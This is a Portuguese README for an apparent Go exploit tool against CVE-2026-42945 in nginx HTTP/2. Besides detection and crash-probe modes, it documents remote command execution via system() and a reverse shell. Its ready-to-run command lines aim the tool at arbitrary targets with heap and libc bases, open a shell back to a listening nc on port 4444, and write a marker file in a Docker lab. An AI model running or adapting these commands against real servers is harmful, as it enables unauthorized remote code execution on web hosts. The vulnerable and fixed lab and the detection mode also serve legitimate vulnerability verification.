
Ferramenta de PoC baseada em Go para CVE-2026-42945 (nginx HTTP/2) com capacidades de detecção, sondagem de crash, execução de comandos e shell reverso em ambientes autorizados.
Português | English
Ferramenta auxiliar de deteção e exploração para a implementação nginx HTTP/2 (CVE-2026-42945), utilizada para verificar a presença da vulnerabilidade em ambientes autorizados, comparar a eficácia de correções e reproduzir o comportamento do PoC em ambientes experimentais controlados.
Versões afetadas (estimativa): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ estão corrigidas.
Este repositório é exclusivamente para pesquisa de segurança, verificação de vulnerabilidades e testes defensivos.
Caso não aceite os termos acima, pare de usar imediatamente e elimine este repositório.
go.mod)make, golangci-lint (desenvolvimento/verificação de código)GET /api/, POST /spray); as imagens Docker experimentais já os incluem# Compilação rápida (saída em bin/, ignorado pelo .gitignore)
make build-cmd
# Ou diretamente com go
go build -o ./bin/cve-2026-42945 ./cmd
# Ver versão embutida
./bin/cve-2026-42945 -version
Binários de release: Descarregue cve-2026-42945-<os>-<arch> para a sua plataforma em Releases (construído automaticamente pelo GitHub Actions ao fazer push da tag v*).
-target string Alvo IP/hostname (padrão 127.0.0.1)
-port int Porta alvo (0=80; versão vulnerável Docker usa frequentemente 19321)
-docker Testar ambiente experimental Docker local (vuln:19321, fixed:19331)
-check-only Apenas deteção, sem enviar tráfego de exploit
-probe-crash Sonda de overflow + canal lateral de falha do worker
-cmd string Comando a executar via system()
-shell Reverse shell (requer -lhost)
-lhost string IP da máquina local para reverse shell
-lport int Porta local para reverse shell (padrão 4444)
-docker-profile Usar perfis de deploy/docker para bases heap/libc reais
-heap-base string Endereço base da heap (hexadecimal, ex.: 0x555555659000)
-libc-base string Endereço base da libc (hexadecimal)
-tries int Número de tentativas por candidato de heap (padrão 10)
-timeout int Timeout HTTP por pedido em segundos (padrão 5)
-v Saída detalhada
-version Mostrar versão e sair
O modo
-dockernão pode ser combinado com-cmd/-shell; para exploração de um único alvo, especifique-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Primeiro, inicie os contentores experimentais:
make docker-up
# ou
docker compose -f deploy/docker-compose.yml up -d --build
A primeira compilação requer a compilação do nginx, podendo demorar alguns minutos; aguarde até que os serviços estejam
healthy(docker compose ps) antes de executarmake test-lab.
| Serviço | Porta | Descrição |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (vulnerável) |
| fixed | 19331 | nginx 1.30.1 (corrigido) |
Deteção em lote:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Ou utilize atalhos do Makefile:
make test-lab # check + probe
make cmd-exploit # Escreve /tmp/pwned no vuln e mostra comando de verificação
No contentor experimental com ASLR desativado (setarch -R) e perfis pré-definidos (-docker-profile), a taxa de sucesso é máxima:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Verificar se o ficheiro foi escrito
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminal 1: Iniciar ferramenta (tentará escuta nc em segundo plano)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Se não encontrar nc, abra outro terminal para escuta manual:
nc -lvnp 4444
Em alvos reais com ASLR e versões de libc diferentes do Docker, é necessário divulgar ou estimar as bases:
# O alvo deve estar numa porta HTTP (sem TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Canal lateral: worker anómalo: Indica apenas que o worker pode ter falhado devido a overflow; não deve ser considerado prova isolada de RCE.docker exec, etc.).cmd/ Ponto de entrada principal
internal/rift/ Lógica de deteção, construção de payload e exploração
deploy/docker/ Imagens experimentais nginx 1.30.0 / 1.30.1
deploy/docker-compose.yml
.github/workflows/ Construção de releases multi-plataforma
make help # Ver todos os alvos make
make test # Testes unitários
make lint # golangci-lint
make version # Mostrar versão atual da compilação
Publicar nova versão:
git tag v1.0.0
git push origin v1.0.0
Utilize esta ferramenta apenas em sistemas que tenha o direito de testar. Qualquer uso indevido não é da responsabilidade dos autores.
| Modo | Descrição |
|---|
-check-only | Verificação de conectividade, cabeçalho Server, estimativa de versão, deteção de endpoint PoC |
-probe-crash | Envia uma sonda de overflow e avalia através de canal lateral (falha do worker) |
-cmd | Constrói payload de exploit, executa comando especificado via system() |
-shell | Reverse shell (requer -lhost; a máquina local precisa de nc) |
-docker | Teste em lote do ambiente experimental Docker local (vuln / fixed) |
| Item | Descrição |
|---|
| Protocolo | Suporta apenas HTTP em texto claro (net.Dial + bytes HTTP brutos), não suporta HTTPS/TLS. Para portas TLS como -port 443, é necessário terminação TLS prévia ou usar porta HTTP. |
| Experiência Docker | Imagens são linux/amd64; o primeiro docker compose build compila o nginx a partir do código-fonte, demorando bastante; dentro do contentor, setarch -R desativa ASLR, diferindo muito do ambiente de produção. |
| Apple Silicon | O Docker local executa via platform: linux/amd64 (emulação), mais lento. |
| Reverse shell | -shell depende do nc do sistema; no Windows, recomenda-se escuta manual. |
| Confirmação de exploração | Canal lateral (falha do worker) não equivale a RCE; é obrigatória verificação independente de efeitos colaterais do comando. |